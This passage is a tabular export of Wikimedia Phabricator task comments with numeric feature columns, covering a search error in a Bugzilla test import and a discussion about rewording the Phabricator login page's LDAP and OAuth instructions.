Alright, so ""search for text"" does not work. Searching for tasks with a certain assignee etc does work.",,,1413721495,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-clqtybgrz4eacc3nmiv2,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,3.6666666666666665,0.7777777777777778,"QUOTE
QUOTE

Alright, so ""search for text"" does not work. Searching for tasks with a certain assignee etc does work."
3528,"Unhandled Exception ""HTTPFutureCURLResponseStatus"" when running query in Bugzilla test import instance",This task is simpler: search doesn't work. Just type anything in the search box and you will get this error message.,,,1413670917,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-clqtybgrz4eacc3nmiv2,task_subcomment,,True,c3,1,True,,,-37,True,0.0,4.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,24.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,3.84,0.92,This task is simpler: search doesn't work. Just type anything in the search box and you will get this error message.
545,Clearer instructions in the Phabricator login page,"After agreeing on declining {T543}, we still have a risk of confusing many Wikimedia-not-mediawiki.org  with the ""LDAP"" credentials and the MediaWiki button (i.e. ""But I don't have a mediawiki.org account!""). 

Can we modify the instructions in the login page to make them clearer?

>**Wikimedia and MediaWiki contributors use Phabricator to manage projects, log and fix bugs, and track progress. You can help!**

>If you have an [[ http://www.mediawiki.org/w/index.php?title=Special:UserLogin&returnto=MediaWiki&type=signup  | account ]] on any Wikimedia projects, such as Wikipedia.org or Mediawiki.org you already have an account on this site. Existing Gerrit/Labs accounts can be used to create account as well, 
> [[ https://www.mediawiki.org/wiki/Phabricator/Help#Creating_your_account | learn more ]] about creating an account  an claiming previous Bugzilla and RT activity.


",High,80.0,1412413077,1425549510.0,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-TASK-7xuymy2fhqybadsnt2bk,task_description,resolved,True,c3,1,True,True,True,-39,True,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,5.0,0.0,3.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,17.0,0.0,3.0,9.0,0.0,0.0,2.0,0.0,5.0,0.0,3.0,0.0,6.0,9.0,6.0,2.0,6.0,0.0,6.0,0.0,0.0,3.0,2.0,5.0,2.0,0.0,2.0,4.030769230769231,0.8,"After agreeing on declining {T543}, we still have a risk of confusing many Wikimedia-not-mediawiki.org  with the ""LDAP"" credentials and the MediaWiki button (i.e. ""But I don't have a mediawiki.org account!""). 

Can we modify the instructions in the login page to make them clearer?

QUOTE

QUOTE
QUOTE


"
421324,Clearer instructions in the Phabricator login page,"Resolved with rOPUP3097e10e3e5c7f13d6de377e3e651c8ac736bd5e

Thank you!",,,1425549510,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.714285714285714,1.0,"Resolved with rOPUP3097e10e3e5c7f13d6de377e3e651c8ac736bd5e

Thank you!"
421318,Clearer instructions in the Phabricator login page,"Change 194126 merged by Alexandros Kosiaris:
Put clearer Login/Register instructions on the Phabricator login page

[[https://gerrit.wikimedia.org/r/194126]]",,,1425548449,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,32.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,4.68,0.92,"Change 194126 merged by Alexandros Kosiaris:
Put clearer Login/Register instructions on the Phabricator login page

[[GERRIT_URL]]"
420337,Clearer instructions in the Phabricator login page,"Fully acknowledged and agreed, but this is {T963} and it is a very different problem to solve.",,,1425417997,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-18,True,0.0,0.0,10.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,10.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.9047619047619048,"Fully acknowledged and agreed, but this is {T963} and it is a very different problem to solve."
420335,Clearer instructions in the Phabricator login page,"I know we're working around some technical limitation, but I'll reiterate we're giving 90% of the screen to something 10% of users are using and 10% to something that 90% of users are using. there is so much emphasis on the LDAP login and we really want people to be using the oAuth login method.",,,1425417697,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-18,True,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,8.0,0.0,3.0,14.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,6.0,5.0,2.0,5.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,8.0,14.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.723076923076923,0.6461538461538462,"I know we're working around some technical limitation, but I'll reiterate we're giving 90% of the screen to something 10% of users are using and 10% to something that 90% of users are using. there is so much emphasis on the LDAP login and we really want people to be using the oAuth login method."
419952,Clearer instructions in the Phabricator login page,+1  Thank you!,,,1425399146,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.4,1.0,+1  Thank you!
419951,Clearer instructions in the Phabricator login page,"I put a patch into Gerrit. Added the word ""below"". Not sure if ""connect"" and ""introduce"" are better than just ""log in / register"" but well we could bikeshed a lot about language I guess (and can have follow-up patches) and everything is better than what we have now anyway.",,,1425398676,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-18,True,0.0,2.0,0.0,0.0,2.0,6.0,3.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,3.0,0.0,0.0,6.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,8.0,2.0,6.0,5.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,6.0,12.0,2.0,0.0,12.0,0.0,6.0,0.0,2.0,3.0,0.0,0.0,3.0,0.0,0.0,3.4461538461538463,0.7384615384615385,"I put a patch into Gerrit. Added the word ""below"". Not sure if ""connect"" and ""introduce"" are better than just ""log in / register"" but well we could bikeshed a lot about language I guess (and can have follow-up patches) and everything is better than what we have now anyway."
419948,Clearer instructions in the Phabricator login page,"Change 194126 had a related patch set uploaded (by Aklapper):
Put clearer Login/Register instructions on the Phabricator login page

[[https://gerrit.wikimedia.org/r/194126]]
",,,1425398481,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,23.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,10.0,4.225806451612903,0.9032258064516129,"Change 194126 had a related patch set uploaded (by Aklapper):
Put clearer Login/Register instructions on the Phabricator login page

[[GERRIT_URL]]
"
417918,Clearer instructions in the Phabricator login page,"@JKrauska, this task is strictly about the title and text paragraph below. The other elements of the page are out of my control, not configurable. This texh thought could be changed in the next days if we agree on it. See T862 and the other blockers of that task.",,,1424982137,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-18,True,0.0,0.0,0.0,2.0,2.0,7.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,5.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,9.0,2.0,4.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,5.0,15.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9454545454545453,0.7818181818181819,"SCREEN_NAME, this task is strictly about the title and text paragraph below. The other elements of the page are out of my control, not configurable. This texh thought could be changed in the next days if we agree on it. See T862 and the other blockers of that task."
417797,Clearer instructions in the Phabricator login page,"@Qgil Your mock up has some added text at the top, but still has the fundamentally confusing Header to the text box. ""Login or Register With LDAP""   ""LDAP Username"" ""LDAP Password"".

I would propose removing all those extra 'LDAP's.


Is it really impossible to move the Federated Login button?",,,1424973495,,PHID-USER-siktv47fljwejss47lay,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-18,True,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,25.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,5.0,8.0,15.0,2.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.9076923076923076,0.7384615384615385,"SCREEN_NAME Your mock up has some added text at the top, but still has the fundamentally confusing Header to the text box. ""Login or Register With LDAP""   ""LDAP Username"" ""LDAP Password"".

I would propose removing all those extra 'LDAP's.


Is it really impossible to move the Federated Login button?"
417644,Clearer instructions in the Phabricator login page,"Here is a proposal for 100% practical instructions in the login page:

{M7}

{P334}

Rationale:

* The problem of this page is that users are confused by the LDAP form, and they don't see / don't get the MediaWiki button. While those elements stay hardcoded where they are, we should use the customizable text to address that problem.
* The problem of this page is not to attract new Phabricator users or to explain what is Phabricator. For this reason, I'm not proposing the more explanatory/seducing versions that Jared and myself had proposed.

I tried to edit https://phab-01.wmflabs.org/config/edit/auth.login-message/ to see the page live, but this configuration cannot be changed via web.

If you like this text, I will be happy to upload my first Wikimedia Phabricator patch.  :) ",,,1424959462,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-18,True,0.0,0.0,0.0,1.0,3.0,4.0,2.0,0.0,0.0,0.5,0.5,1.5,0.0,0.0,0.0,3.5,0.0,5.0,9.0,0.0,3.5,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,6.0,1.5,0.0,0.5,0.5,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,0.5,0.5,0.5,0.0,0.0,12.5,0.0,4.5,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,2.0,0.0,0.5,0.5,0.0,0.0,4.5,4.5,11.5,2.0,2.5,9.0,0.0,0.5,0.0,0.0,6.5,0.0,0.5,0.0,5.5,9.0,4.0,0.0,0.0,0.0,5.5,0.0,1.5,0.5,0.5,0.5,0.5,0.0,0.0,3.81875,0.7125,"Here is a proposal for 100% practical instructions in the login page:

{M7}

{P334}

Rationale:

* The problem of this page is that users are confused by the LDAP form, and they don't see / don't get the MediaWiki button. While those elements stay hardcoded where they are, we should use the customizable text to address that problem.
* The problem of this page is not to attract new Phabricator users or to explain what is Phabricator. For this reason, I'm not proposing the more explanatory/seducing versions that Jared and myself had proposed.

I tried to edit URL to see the page live, but this configuration cannot be changed via web.

If you like this text, I will be happy to upload my first Wikimedia Phabricator patch.  :) "
405680,Clearer instructions in the Phabricator login page,"I have no idea how much of a diff it would be to maintain this (@mmodell: any idea?), but moving the ""Login or Register: MediaWiki"" button above the ""Login or Register with LDAP"" one, adding a ""(recommended)"" prefix to it, and an ""Or:"" between these two ways? Any hints to the place in the code are welcome.",,,1422900696,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-22,True,4.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,9.0,3.0,12.0,1.0,5.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,4.0,10.0,10.0,3.0,10.0,1.0,4.0,0.0,1.0,4.0,0.0,3.0,0.0,0.0,0.0,3.217948717948718,0.6794871794871795,"I have no idea how much of a diff it would be to maintain this (@mmodell: any idea?), but moving the ""Login or Register: MediaWiki"" button above the ""Login or Register with LDAP"" one, adding a ""(recommended)"" prefix to it, and an ""Or:"" between these two ways? Any hints to the place in the code are welcome."
337380,Clearer instructions in the Phabricator login page,"Even if our current login page is far from ideal, the fact is that we have more than 1000 users now, and we are not hearing complaints. Lowering priority.

On a related note, a Google Code-in student contributed a short screencast this weekend. It is now featured at https://www.mediawiki.org/wiki/Phabricator/Help#Creating_your_account",,,1418027526,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-30,True,0.0,0.0,0.0,2.0,2.0,9.0,3.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,12.0,3.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,12.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,5.0,0.0,3.0,2.0,0.0,0.0,3.8448275862068964,0.8275862068965517,"Even if our current login page is far from ideal, the fact is that we have more than 1000 users now, and we are not hearing complaints. Lowering priority.

On a related note, a Google Code-in student contributed a short screencast this weekend. It is now featured at URL"
4384,Clearer instructions in the Phabricator login page,"Ooops, sorry, I jumped directly to the mockup and didn't see your comment in the description. Sorry if my tone sounds harsh, maybe I was too much in execution mode this morning... I just wanted to enumerate the problems I see in the current text.

Feel free to add the alternative text in the task description and/or edit the current draft, wiki style. This way we can discuss quickly the text here, without needing updated mockups.",,,1414523973,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-36,True,1.0,0.0,0.0,0.0,1.0,9.0,1.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,7.0,0.0,8.0,10.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,3.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,9.0,1.0,2.0,11.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.068181818181818,0.6931818181818182,"Ooops, sorry, I jumped directly to the mockup and didn't see your comment in the description. Sorry if my tone sounds harsh, maybe I was too much in execution mode this morning... I just wanted to enumerate the problems I see in the current text.

Feel free to add the alternative text in the task description and/or edit the current draft, wiki style. This way we can discuss quickly the text here, without needing updated mockups."
4369,Clearer instructions in the Phabricator login page,,,,1414519825,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
4368,Clearer instructions in the Phabricator login page,,,,1414519817,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
4367,Clearer instructions in the Phabricator login page,"@qgil, as I said in the mockup I'll be adding the LDAP login/registration method as well, I mentioned this in the notes on the mockup. From our conversation it sounds like most people will be using the OAuth method so it makes sense to highlight this and deprioritize the LDAP method which is less used and more confusing (as reported by users)",,,1414519810,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,6.0,0.0,6.0,14.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,4.0,11.0,1.0,3.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,9.0,14.0,4.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,3.0,3.0,1.0,0.0,4.128571428571429,0.7285714285714285,"SCREEN_NAME, as I said in the mockup I'll be adding the LDAP login/registration method as well, I mentioned this in the notes on the mockup. From our conversation it sounds like most people will be using the OAuth method so it makes sense to highlight this and deprioritize the LDAP method which is less used and more confusing (as reported by users)"
4366,Clearer instructions in the Phabricator login page,,,,1414519663,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
4355,Clearer instructions in the Phabricator login page,,,,1414515793,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
4315,Clearer instructions in the Phabricator login page,"Your mockup and the text ignores the fact that we have two authentication systems. As it is now, we cannot implement it.

Also, the purpose of Phabricator is already explained in the homepage, do we need to repeat it here? We can assume that the user was in the homepage already, and decided to log in. Wouldn't it be better to focus the message in helping the user to log in?

Note also that in other discussions it was considered relevant that users are aware that their Wikimedia username will be featured in their Phabricator profile before they create an account.

These are the reasons behind the draft text featured in the task description above.",,,1414486382,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,2.0,1.5,3.0,3.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,2.0,0.0,5.5,13.5,0.0,2.5,0.0,0.0,0.0,2.0,0.0,0.0,1.5,1.0,1.5,0.0,5.0,3.5,3.0,1.0,0.5,0.0,0.0,1.5,0.5,0.0,2.5,0.5,2.0,0.0,1.5,0.5,0.0,0.5,11.5,1.0,1.0,0.0,0.0,0.0,1.0,1.5,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,7.5,5.5,6.5,3.5,1.0,8.5,0.0,0.0,0.0,0.0,6.5,0.0,0.5,0.0,8.0,13.5,2.0,1.5,0.0,0.0,8.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,4.14032634032634,0.6872960372960373,"Your mockup and the text ignores the fact that we have two authentication systems. As it is now, we cannot implement it.

Also, the purpose of Phabricator is already explained in the homepage, do we need to repeat it here? We can assume that the user was in the homepage already, and decided to log in. Wouldn't it be better to focus the message in helping the user to log in?

Note also that in other discussions it was considered relevant that users are aware that their Wikimedia username will be featured in their Phabricator profile before they create an account.

These are the reasons behind the draft text featured in the task description above."
